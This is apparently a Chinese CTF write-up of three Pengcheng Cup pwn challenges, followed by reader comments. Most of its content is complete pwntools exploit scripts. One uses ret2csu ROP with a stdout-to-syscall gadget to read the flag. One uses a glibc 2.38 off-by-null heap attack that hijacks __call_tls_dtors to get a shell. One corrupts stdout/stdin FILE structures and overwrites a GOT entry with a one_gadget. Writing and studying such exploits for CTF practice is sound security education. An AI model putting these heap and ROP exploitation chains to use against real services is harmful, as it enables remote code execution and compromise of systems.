跟去年鹏城杯一样还是全是常规用户态题目,以及多到做不完的总题量
silent
使用magic_gadget将stdout修改为syscall_ret,实测偏移固定为0x241b05
0x00000000004007e8 : add dword ptr [rbp – 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
csu在syscall就是常规的read控制rax,write泄漏libc地址,orw读取flag
from pwn import*
r=remote("127.0.0.1",9999)
#r=process('./silent')
context.log_level='debug'
read_got=0x600FE0
alarm_plt=0x4006F0
stdout=0x601020
bss=0x601200
pop_rbp=0x400788
pop_rdi=0x400963
leave=0x4008FC
csu1=0x40095A
csu2=0x400940
payload="\x00"*0x48
payload+=p64(csu1)
payload+=p64(0)+p64(1)
payload+=p64(read_got)
payload+=p64(0)
payload+=p64(bss)
payload+=p64(0x200)
payload+=p64(csu2)
payload+=p64(0)*0x2
payload+=p64(bss-0x8)
payload+=p64(0)*0x4
payload+=p64(leave)
pause()
r.send(payload.ljust(0x100,"\x00"))
payload=""
payload+=p64(csu1)
payload+=p64(0x241b05)
payload+=p64(stdout+0x3d)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x4007e8)
payload+=p64(csu1)
payload+=p64(0)+p64(1)
payload+=p64(read_got)
payload+=p64(0)
payload+=p64(bss+0x800)
payload+=p64(0x1)
payload+=p64(csu2)
payload+=p64(0)
payload+=p64(0)+p64(1)
payload+=p64(stdout)
payload+=p64(0x1)
payload+=p64(read_got)
payload+=p64(0x8)
payload+=p64(csu2)
payload+=p64(0)
payload+=p64(0)+p64(1)
payload+=p64(read_got)
payload+=p64(0)
payload+=p64(bss+0xf0)
payload+=p64(0x200)
payload+=p64(csu2)
payload+=p64(0)
r.send(payload.ljust(0x200,"\x00"))
r.send("\x00")
libc=ELF("./libc-2.27.so")
libc_base=u64(r.recv(8))-libc.sym["read"]
success("libc_base: "+hex(libc_base))
pop_rsi=libc_base+0x23a6a
pop_rdx=libc_base+0x1b96
payload="flag\x00\x00\x00\x00"
payload+=p64(pop_rdi)+p64(bss+0xf0)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x40)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])
#gdb.attach(r)
r.send(payload)
r.interactive()
babyheap
2.38的off_by_null,功能齐全,开头提供了heap地址
伪造unsortedbin双链表以及pre_size,off_by_null修改flag位,free伪造的unsortedbin_chunk
最终tcache修改TLS,通过__call_tls_dtors函数实现system(“/bin/sh”)
(注意unsortedbin的fd和bk的第一个字节为\x00,需要被整理进smallbin才能实现puts泄漏)
from pwn import*
r=process('./babyheap')
context.log_level='debug'
r.recvline()
r.recvline()
r.recvline()
r.recvline()
heap=int(r.recvline(),16)-0x2a0
success("heap: "+hex(heap))
def new(size,content):
r.recvuntil(">> \n")
r.sendline("1")
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def edit(idx,size,content):
r.recvuntil(">> \n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def show(idx):
r.recvuntil(">> \n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def delete(idx):
r.recvuntil(">> \n")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
def rol(num,shift):
for i in range(shift):
num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
return num
new(0x4f8,"\n")
new(0x4f8,"\n")
new(0x408,"\n")
edit(0,0x4f8,p64(heap+0x7b0)+p64(heap+0x7b0)+"\x00"*0x4e0+p64(0x500))
edit(1,0x10,p64(heap+0x2b0)+p64(heap+0x2b0))
delete(1)
new(0x408,"\n")
delete(2)
delete(0)
edit(1,0x8,p64((heap>>12)^(heap+0xae0)))
new(0x408,"\n")
new(0x408,"\n")
new(0x408,"\n")
new(0x408,"\n")
show(2)
libc_base=u64(r.recvline()[:-1]+p16(0))-0x1feed0
success("libc_base: "+hex(libc_base))
delete(3)
delete(0)
edit(1,0x8,p64((heap>>12)^(libc_base-0x2890)))
new(0x408,"\n")
new(0x408,p64(0)+"\n")
delete(4)
delete(0)
edit(1,0x8,p64((heap>>12)^(libc_base-0x2910)))
new(0x408,p64(rol(libc_base+0x55230,0x11))+p64(libc_base+0x1c041b)+"\n")
new(0x408,p64(heap+0x2c0)+"\n")
#gdb.attach(r,"b __call_tls_dtors")
r.recvuntil(">> \n")
r.sendline("5")
r.interactive()
atuo_coffee_sale_machine
change_default功能中没有对idx的负数检测,导致可以负溢出修改left_coffee前方的stdout以及stderr
(群友发现的偷鸡点,借下群友的图,群友太强了.jpg)
stdout修改flags为0xfbad1800以及IO_write_base地位实现泄漏libc地址
stdin修改flags为0xfbad1800以及IO_buf_base为任意写起点,IO_buf_end为终点,通过getchar进行读取
最后写free的got表配合one_gadget拿下
from pwn import*
r=process('./pwn')
context.log_level='debug'
def buy(idx,add):
r.recvuntil(">>>")
r.sendline("1")
r.recvuntil("input the id of what coffee you want to buy")
r.sendline(str(idx))
r.recvuntil("Do you want to add something?Y/N")
if (add==""):
r.sendline("N")
else:
r.sendline("Y")
r.recvuntil("Ok,please input what you need in coffee")
r.send(add)
def show():
r.recvuntil(">>>")
r.sendline("2")
def admin():
r.recvuntil(">>>")
r.sendline("4421")
r.recvuntil("please input the admin password")
r.sendline("just pwn it")
def back():
r.recvuntil(">>>")
r.sendline("3")
def replenish(idx):
r.recvuntil(">>>")
r.sendline("1")
r.recvuntil(">>>")
r.sendline(str(idx))
def change(idx,idx2,content):
r.recvuntil(">>>")
r.sendline("2")
r.recvuntil(">>>")
r.sendline(str(idx))
r.recvuntil(">>>")
r.sendline(str(idx2))
r.recvuntil("input your content")
r.send(content)
buy(1,"")
admin()
change(1,-0x1F,p64(0xfbad1800)+p64(0)*0x3+"\x00")
libc_base=u64(r.recvuntil("\x7f")[-6:]+p16(0))-0x1ec980
success("libc_base: "+hex(libc_base))
one_gadget=libc_base+0xe3b01
change(1,-0x1D,p64(0xfbad1800)+p64(0)*0x6+p64(0x406018)+p64(0x406020))
back()
r.recvuntil(">>>")
r.sendline("1")
r.recvuntil("input the id of what coffee you want to buy")
r.sendline(str(2))
r.recvuntil("Do you want to add something?Y/N")
#gdb.attach(r,"b *"+str(one_gadget))
r.send("N"+p64(one_gadget))
r.interactive()
膜拜大佬,请问magic gadget是如何看出来的?通过它的机器码吗?
ROPgadget找的,不加任何参数默认找所有可用的gadget
师傅,我想复现一下鹏城杯,麻烦您抽出宝贵的时间,能不能把相关附件发到3285432341@qq.com?
附件已经更新
师傅,我想复现一下鹏城杯的eazyapk这个安卓逆向题,麻烦您抽出宝贵的时间,能不能把相关附件发到1444737121@qq.com?
我只有pwn题目没有逆向部分的